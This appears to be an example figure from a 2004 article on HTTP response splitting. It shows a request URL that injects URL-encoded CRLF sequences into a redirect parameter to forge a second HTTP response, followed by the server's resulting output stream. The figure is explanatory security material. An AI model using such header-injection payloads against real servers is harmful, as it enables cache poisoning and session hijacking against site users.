August, 2004: HTTP Response Splitting

(a)

/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>

(b)

HTTP/1.1 302 Moved Temporarily 
        Date: Wed, 24 Dec 2003 15:26:41 GMT 
        Location: http://10.1.1.1/by_lang.jsp?lang=foobar 
        Content-Length: 0 
         
        HTTP/1.1 200 OK 
        Content-Type: text/html 
        Content-Length: 19 
         
        <html>Shazam</html> 
        Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 
        2003 271009 with 
        Content-Type: text/html 
        Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9Us 
        S!-1251019693; path=/ 
        Connection: Close 
        
        <html><head><title>302 Moved Temporarily</title></head> 
        <body bgcolor="#FFFFFF"> 
        <p>This document you requested has moved temporarily.</p> 
        [[[ truncated for brevity ]]]

Example 2: (a) URL-encoded CRLF sequences to terminate the current response; (b) resulting output stream.

Back to Article